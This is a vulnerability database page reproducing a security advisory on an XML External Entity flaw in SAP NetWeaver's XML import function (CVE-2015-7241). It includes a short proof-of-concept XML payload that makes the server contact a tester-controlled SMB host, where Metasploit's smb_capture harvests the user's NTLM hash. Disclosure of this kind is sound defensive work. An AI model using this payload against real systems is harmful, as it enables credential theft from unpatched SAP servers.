SAP NetWeaver 7.01 - XML External Entity Injection
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | SAP NetWeaver XML Parser File Read DoS | 15 Sep 201700:00 | – | bdu_fstec |
 | SAP Netwaver XML External Entity Injection Vulnerability | 29 Oct 201500:00 | – | cnvd |
 | CVE-2015-7241 | 6 Sep 201721:00 | – | cve |
 | CVE-2015-7241 | 6 Sep 201721:00 | – | cvelist |
 | SAP NetWeaver < 7.01 - XML External Entity Injection | 22 Sep 201500:00 | – | exploitdb |
 | CVE-2015-7241 | 6 Sep 201721:29 | – | nvd |
 | SAP Netweaver XML External Entity Injection | 21 Sep 201500:00 | – | packetstorm |
 | Xxe | 6 Sep 201721:29 | – | prion |
 | PT-2014-1977 | 29 Oct 201400:00 | – | ptsecurity |
 | CVE-2015-7241: Improper Restriction of XML External Entity Reference | 6 Sep 201700:00 | – | rapid7 |
10
Title: SAP Netwaver - XML External Entity Injection
Author: Lukasz Miedzinski
GPG: Public key provided in attachment
Date: 29/10/2014
CVE: CVE-2015-7241
Affected software :
===================
SAP Netwear : <7.01
Vendor advisories (only for customers):
===================
External ID : 851975 2014
Title: XML External Entity vulnerability in SAP XML Parser
Security Note: 2098608
Advisory Plan Date: 12/5/2014
Delivery date of fix/Patch Day: 10/2/2014
CVSS Base Score: 5.5
CVSS Base Vector: AV:N/AC:L/AU:S/C:P/I:N/A:P
Description :
=============
XML External Entity Injection vulnerability has been found in the XML
parser in the System
Administration->XML Content and Actions -> Import section.
Vulnerabilities :
*****************
XML External Entity Injection :
======================
Example show how pentester is able to get NTLM hash of application's user.
Content of file (PoC) :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:////Tester.IP/test"> %remote; %param1; ]>
<root/>
When pentester has metasploit smb_capture module run, then application
will contatc him and provide
NTLM hash of user.
Contact :
=========
Lukasz[dot]Miedzinski[at]gmail[dot]comData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Sep 2015 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.13467